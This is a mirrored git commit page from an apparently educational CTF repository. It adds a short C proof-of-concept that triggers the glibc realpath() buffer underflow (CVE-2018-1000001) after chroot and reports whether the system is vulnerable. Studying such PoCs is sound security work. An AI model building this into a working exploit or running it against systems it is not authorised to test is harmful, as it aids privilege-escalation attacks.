mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2025-06-24 04:05:03 +07:00
fix
This commit is contained in:
29
src/exploit/7.1.5_glibc_2018-1000001/poc.c
Normal file
29
src/exploit/7.1.5_glibc_2018-1000001/poc.c
Normal file
@ -0,0 +1,29 @@
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
void main() {
|
||||
char *path;
|
||||
|
||||
struct {
|
||||
char canary[16];
|
||||
char buffer[80];
|
||||
} buf;
|
||||
memset(buf.canary, 47, 1); // put a '/' before the buffer
|
||||
memset(buf.buffer, 48, sizeof(buf.buffer));
|
||||
|
||||
//path = getcwd(NULL, 0);
|
||||
//puts(path);
|
||||
|
||||
chroot("/tmp");
|
||||
//path = getcwd(NULL, 0);
|
||||
//puts(path);
|
||||
|
||||
realpath("../../../../BBBB", buf.buffer);
|
||||
if (!strcmp(buf.canary, "/BBBB")) {
|
||||
puts("Vulnerable");
|
||||
} else {
|
||||
puts("Not vulnerable");
|
||||
}
|
||||
}
|
Reference in New Issue
Block a user